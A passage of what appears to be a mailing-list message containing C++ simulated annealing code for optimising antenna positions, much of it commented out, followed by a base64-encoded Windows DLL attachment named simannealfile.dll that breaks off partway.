return 0; } int simulated_annealing::take_new_result (struct variable &fnew, struct variable &fold, double t) { double old; double test; switch (fnew.type) { case 'd' : /* double value */ if (read_double(old, &fold)) { printf ("simulated_annealing::take_new_result:\n"); printf (" Error while reading `fold'.\n"); return -1; } test = (double)rand()/RAND_MAX; if ( (fnew.dv < old) || (exp((old-fnew.dv)/t) > (double)rand()/RAND_MAX) ) return 1; return 0; break; case 'i' : /* integer value */ printf ("simulated_annealing::take_new_result:\n"); printf (" Comparison with integers isn't implemented yet.\n"); return -1; break; case 's' : /* string value */ printf ("simulated_annealing::take_new_result:\n"); printf (" Comparison with strings isn't implemented yet.\n"); return -1; break; default : printf ("simulated_annealing::take_new_result:\n"); printf (" Unknown type of `fnew' `%c'.\n", fnew.type); return -1; } return 0; } int simulated_annealing::vary_simvarlist () { struct simanneal_varlist *help = svl; while (help) { if (!help->vl->sap) { printf("simulated_annealing::vary_simvarlist():\n"); printf(" No simulated annealing parameters found for variable no. %d.\n", help->vl->number); return 1; } if (random_step (help->vl->x_now, help->vl->sap->dx)) { printf ("simulated_annealing::vary_simvarlist():\n"); printf (" Error while making random step of variable no. %d.\n", help->vl->number); return 1; } help = help->next; } return 0; } // double // simulated_annealing::amotsa (matrix &p, vector &y, vector &psum, int ndim, vector &pb, // double *yb, int ihi, double *yhi, double fac, double tt, // struct antenna_list *antenna, double f, double k, // int (*e_func)(complex &E,radiator_list *send, // double x, double y, double z, double f, // double beta, complex rho, // char receive_type, char polarization, // char field, int posnum)) { // int j; // double fac1, fac2, yflu, ytry; // vector ptry (ndim, "ptry"); // fac1 = (1.0-fac)/ndim; // fac2 = fac1-fac; // for (j=0; jcl->size; i++) // *(antenna->cl->c[i]) = ptry(i); // if (guete_e_position (ytry, f, k, antenna, e_func)) { // printf("calculate::amotsa ():\n "); // printf("Error while calculating target function value.\n"); // return 1; // } // if (ytry <= *yb) { // /* try is better => take try! (antenna already holds the // try-values) */ // pb = ptry; // *yb = ytry; // } // else { // /* try is worse => discard try. antenna holds the try-values: // restore the pb values to antenna! */ // for (int i=0; icl->size; i++) // *(antenna->cl->c[i]) = pb(i); // } // yflu = ytry-tt*log((double)rand()/RAND_MAX); // if (yflu < *yhi) { // y(ihi) = ytry; // *yhi = yflu; // for (j=0; j &E,radiator_list *send, // double x, double y, double z, double f, // double beta, complex rho, // char receive_type, char polarization, // char field, int posnum), // int biter, int itm, double tfe, double td) { // int itermax = itm; // double tdecrease = td; // double tfactorend = tfe; // double oldbest = -1e99; // int bigiterate_max = biter; // string filename; // // Randomgenerator initialisieren // time_t init_rand; // time (&init_rand); // srand (init_rand); // // Numerical Recipies in C, p. 452 ff. // double tt, sum; // int n,m; // /* number of variables to vary */ // int ndim = antenna->cl->size; // int mpts = ndim + 1; // int i, ilo, ihi, j; // double yhi, ylo, ynhi, yt, ytry, ysave; // double rtol, swap; // vector psum (ndim, "psum"); // vector pb (ndim, "p best ever"); // vector y (ndim+1, "y"); // double yb = 1e99; // struct matrix p (p_ini, "point simplex matrix"); // double ftol = 1e-6; // int iter; // double verybest = 1e99; // vector verybestpoint (ndim, "very best point ever found"); // for (int bigiterate = 0; bigiterate < bigiterate_max; bigiterate++){ // p = p_ini; // // print (p); // yb = 1e99; // zero (pb); // /* calculate first vector (for edges of simplex described by p) */ // for (i=0; icl->c[j]) = p(i,j); // if (guete_e_position (y(i), f, k, antenna, e_func)) { // printf("calculate::simuann ():\n "); // printf("Error while calculating target function.\n"); // return 1; // } // } // tt = -temperature; // while (-tt > tfactorend * temperature) { // // printf (" tt = %g\n", tt); // iter = itermax; // // GET_PSUM // for (n=0; n yhi) { // ihi = 0; // ilo = 1; // ynhi = yhi; // yhi = ylo; // ylo = ynhi; // } // for (i=2; i yhi) { // ynhi = yhi; // ihi = i; // yhi = yt; // } // else // if (yt > ynhi) // ynhi = yt; // } // rtol = 2*fabs(yhi-ylo)/(fabs(yhi)+fabs(ylo)); // //printf ("\nrtol = %g\t iter = %d\n", rtol, iter); // if (rtol < ftol || iter < 0) { // swap = y(0); // y(1) = y(ilo); // y(ilo) = swap; // for (n=0; n= ynhi) { // /* reflected point is worse than the second-highest, so // look for an intermediate lower point, i.e. do a // one-dimensional contraction. */ // ysave = yhi; // ytry =amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, 0.5, tt, // antenna, f, k, e_func); // if (ytry >= ysave) { // /* The high point seems to stay. So better contract // around the lowest (i.e. best) point. */ // for (i=0; icl->c[u]) = psum(u); // if (guete_e_position (y(i), f, k, antenna, e_func)) { // printf("calculate::simuann ():\n "); // printf("Error while calculating target function.\n"); // return 1; // } // } // iter -= ndim; // // GET_PSUM // for (n=0; n yb) { // verybest = yb; // for (int q=0; qx; // y_max = antenna->y; // z_max = antenna->z; // return 0; // } --------------090302080802010307050504 Content-Type: application/x-msdownload; name="simannealfile.dll" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="simannealfile.dll" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAbQZLxXyD8ol8g/KJfIPyitz/3olcg/KLcPPKifiD8orc/ 9qLZIPyioAD4olog/KJfIP2iNyD8oj0/76JdIPyitz/qolgg/KK3P/iiXiD8olJpY2hfIPyi AAAAAAAAAABQRQAATAEEAF1JXTwAAAAAAAAAAOAADiELAQYAABACAADAAAAAAAAA0NgAAAAQ AAAAIAIAAAAAEAAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAgAAEAAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAABwQQIAVgAAAOg4AgBQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAALACAKwZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAIAfAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAFwUCAAAQ AAAAEAIAABAAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYhAAAAIAIAADAAAAAgAgAAAAAA AAAAAAAAAABAAABALmRhdGEAAAAkXQAAAFACAABQAAAAUAIAAAAAAAAAAAAAAAAAQAAAwC5y ZWxvYwAA/iEAAACwAgAAMAAAAKACAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 